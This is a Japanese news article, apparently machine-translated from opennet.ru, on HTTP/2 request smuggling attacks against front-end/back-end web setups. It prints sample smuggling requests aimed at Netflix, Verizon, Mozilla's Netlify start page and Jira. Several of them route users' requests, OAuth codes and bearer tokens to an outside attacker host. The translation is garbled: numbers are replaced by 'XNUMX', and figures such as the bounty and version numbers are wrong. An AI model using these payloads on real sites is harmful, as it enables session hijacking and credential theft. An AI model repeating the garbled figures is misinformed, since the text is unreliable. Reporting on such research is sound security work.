リクエストへの侵入を可能にするフロントエンド/バックエンド システムに対する新たな攻撃

フロントエンドが HTTP/2 経由で接続を受け入れ、HTTP/1.1 経由でバックエンドに送信する Web システムが、特別に設計されたクライアント リクエストを送信することによって、フロントエンドとバックエンドの間の同じフローで処理される他のユーザーからのリクエストの内容に介入します。 この攻撃は、悪意のある JavaScript コードを正規の Web サイトとのセッションに挿入し、アクセス制限システムをバイパスし、認証パラメーターを傍受するために使用される可能性があります。

この問題は、Web プロキシ、ロード バランサー、Web アクセラレータ、コンテンツ配信システム、およびリクエストがフロントエンドからバックエンドにリダイレクトされるその他の構成に影響します。 この研究の著者は、Netflix、Verizon、Bitbucket、Netlify CDN、Atlassian のシステムを攻撃する可能性を実証し、脆弱性の特定に対して報奨プログラムとして 56 ドルを受け取りました。 この問題はF5 Networks製品でも確認されております。 この問題は Apache http サーバーの mod_proxy に部分的に影響し (CVE-2021-33193)、バージョン 2.4.49 で修正される予定です (開発者は 3 月初旬に問題について通知され、修正に 1.21.1 か月の時間が与えられました)。 nginx では、「Content-Length」ヘッダーと「Transfer-Encoding」ヘッダーを同時に指定する機能は、最後のリリース (XNUMX) でブロックされました。 攻撃ツールはすでに Burp ツールキットに含まれており、Turbo Intruder 拡張機能の形式で利用できます。

リクエストをトラフィックに割り込む新しい方法の動作原理は、1.1 年前に同じ研究者によって特定された脆弱性と似ていますが、HTTP/XNUMX 経由でリクエストを受け入れるフロントエンドに限定されます。 フロントエンド - バックエンド スキームでは、クライアントのリクエストは追加のノード (フロントエンド) によって受信され、バックエンドとの間で存続期間の長い TCP 接続を確立し、リクエストを直接処理することを思い出してください。 通常、この共通の接続を通じて、さまざまなユーザーからのリクエストが送信され、HTTP プロトコルによって分離されたチェーンが次々とたどられます。

古典的な「HTTP リクエスト密輸」攻撃は、フロントエンドとバックエンドが HTTP ヘッダー「Content-Length」（リクエスト内のデータの合計サイズを決定する）と「Transfer-Encoding: chunked」（許可する）の使用を解釈するという事実に基づいていました。分割して転送されるデータ）が異なります。 たとえば、フロントエンドが「Content-Length」のみをサポートし、「Transfer-Encoding: chunked」を無視する場合、攻撃者は「Content-Length」ヘッダーと「Transfer-Encoding: chunked」ヘッダーの両方を含むリクエストを送信する可能性があります。サイズは「Content-Length」がチャンク化チェーンのサイズと一致しません。 この場合、フロントエンドは「Content-Length」に従ってリクエストを処理およびリダイレクトし、バックエンドは「Transfer-Encoding: chunked」に基づいてブロックの完了を待機し、攻撃者のリクエストの残りの末尾が次に送信される他の誰かのリクエストの先頭にあること。

行レベルで解析されるテキスト プロトコル HTTP/1.1 とは異なり、HTTP/2 はバイナリ プロトコルであり、事前に指定されたサイズのデータ​​ ブロックを操作します。 ただし、HTTP/2 では、通常の HTTP ヘッダーに対応する疑似ヘッダーが使用されます。 HTTP/1.1 プロトコルを介してバックエンドと対話する場合、フロントエンドはこれらの疑似ヘッダーを同様の HTTP ヘッダー HTTP/1.1 に変換します。 問題は、バックエンドが、元のリクエストのパラメーターに関する情報を持たずに、フロントエンドによって設定された HTTP ヘッダーに基づいてストリームの解析に関する決定を下すことです。

特に、「content-length」と「transfer-encoding」の値は、HTTP/2 では使用されないにもかかわらず、すべてのデータのサイズが決定されるため、疑似ヘッダーの形式で送信できます。別のフィールドで。 ただし、HTTP/2 リクエストを HTTP/1.1 に変換するプロセス中に、これらのヘッダーが引き継がれ、バックエンドが混乱する可能性があります。 攻撃には主に H2.TE と H2.CL の 2 つの亜種があり、フロントエンドが受信したリクエスト本文の実際のサイズに対応しない誤った転送エンコーディングまたはコンテンツ長の値によってバックエンドが誤解されます。 HTTP/XNUMX プロトコル。

H2.CL 攻撃の例としては、HTTP/2 リクエストを Netflix に送信するときに、コンテンツ長擬似ヘッダーに不正なサイズを指定することが挙げられます。 このリクエストにより、HTTP/1.1 経由でバックエンドにアクセスするときに同様の HTTP ヘッダー Content-Length が追加されますが、Content-Length のサイズが実際のサイズよりも小さく指定されているため、末尾のデータの一部が次のリクエストの始まり。

たとえば、リクエスト HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

リクエストがバックエンドに送信されます: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Content-Length の値が 4 であるため、バックエンドはリクエストの本文として「abcd」のみを受け入れ、残りの「GET /n HTTP/1.1...」は後続のリクエストの開始として処理されます。別のユーザーに関連付けられています。 これにより、ストリームが非同期となり、次のリクエストに対してはダミーリクエストの処理結果が発行されることになる。 Netflix の場合、ダミーリクエストの「Host:」ヘッダーにサードパーティのホストを指定すると、クライアントは「Location: https://02.rs?x.netflix.com/n」という応答を返しました。 Netflix サイトのコンテキストで JavaScript コードを実行するなど、任意のコンテンツをクライアントに送信できます。

2 番目の攻撃オプション (H2.TE) には、「Transfer-Encoding: chunked」ヘッダーの置換が含まれます。 HTTP/2 での transfer-encoding 擬似ヘッダーの使用は仕様で禁止されており、これを含むリクエストは不正なものとして扱われることが規定されています。 それにもかかわらず、一部のフロントエンド実装ではこの要件が考慮されておらず、同様の HTTP ヘッダーに変換される HTTP/0 での転送エンコーディング疑似ヘッダーの使用が許可されています。 「Transfer-Encoding」ヘッダーがある場合、バックエンドはそれをより高い優先順位として受け取り、「{size}\r\n{block」形式の異なるサイズのブロックを使用して「チャンク」モードでデータを部分ごとに解析できます。最初に全体のサイズで除算したにもかかわらず、}\r\n{size} \r\n{block}\r\nXNUMX"。

このようなギャップの存在は、Verizon の例によって実証されました。 この問題は、ハフィントン ポストやエンガジェットなどのサイトでも使用されている認証ポータルとコンテンツ管理システムに関するものでした。 たとえば、HTTP/2 経由のクライアント リクエスト: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

結果として、HTTP/1.1 リクエストがバックエンドに送信されました: POST /identity/XUI HTTP/1.1 ホスト: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres。正味内容 - 長さ: 10x=

次に、バックエンドは「Content-Length」ヘッダーを無視し、「Transfer-Encoding: chunked」に基づいてストリーム内分割を実行しました。 実際には、この攻撃により、OAuth 認証に関連するリクエストの傍受（Referer ヘッダーにそのパラメータが表示される）を含む、ユーザーのリクエストを Web サイトにリダイレクトすることが可能になりました。また、認証セッションをシミュレートし、ユーザーのシステムに認証情報の送信をトリガーすることもできました。攻撃者のホス​​トに送信されます。 GET /b2blanding/show/oops HTTP/1.1 ホスト: psres.net リファラー: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 ホスト: psres.net 認可: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

transfer-encoding 擬似ヘッダーの指定を許可しない HTTP/2 実装を攻撃するために、「Transfer-Encoding」ヘッダーを改行文字で区切られた他の擬似ヘッダーに付加して置き換える別の方法が提案されています (この場合、HTTP/1.1 に変換すると、XNUMX つの別々の HTTP ヘッダーが作成されます)。

たとえば、Atlassian Jira と Netlify CDN (Firefox で Mozilla スタート ページを提供するために使用) はこの問題の影響を受けました。 具体的には、HTTP/2 リクエスト :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Content-Length: 5\r\n \r\nx=

HTTP/1.1 POST / HTTP/1.1 リクエストがバックエンドに送信されました\r\n ホスト: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n ホスト: evil-netlify-domain\r\n コンテンツの長さ: 5\r\n \r \nx=

「Transfer-Encoding」ヘッダーを置き換える別のオプションは、それを別の疑似ヘッダーの名前またはリクエスト メソッドの行に添付することでした。 たとえば、Atlassian Jira にアクセスする場合、擬似ヘッダー名「foo: bar\r\ntransfer-encoding」と値「chunked」により、HTTP ヘッダー「foo: bar」と「transfer-encoding: chunked」が追加されました。 、擬似ヘッダー「:method」値「GET / HTTP/1.1\r\nTransfer-encoding: chunked」を指定すると、「GET / HTTP/1.1\r\ntransfer-encoding: chunked」に変換されました。

この問題を特定した研究者は、フロントエンドを攻撃するためのリクエスト トンネリング技術も提案しました。この技術では、各 IP アドレスがバックエンドへの個別の接続を確立し、異なるユーザーからのトラフィックが混在しません。 提案された技術では、他のユーザーからのリクエストを妨害することはできませんが、他のリクエストの処理に影響を与える共有キャッシュを汚染することが可能になり、サービス情報をフロントエンドからバックエンドに転送するために使用される内部 HTTP ヘッダーの置換が可能になります (たとえば、フロントエンド側で認証する場合、このようなヘッダーは現在のユーザーに関する情報をバックエンドに送信できます)。 この方法を実際に適用した例として、キャッシュ ポイズニングを使用すると、Bitbucket サービス内のページを制御することができました。

出所： オープンネット.ru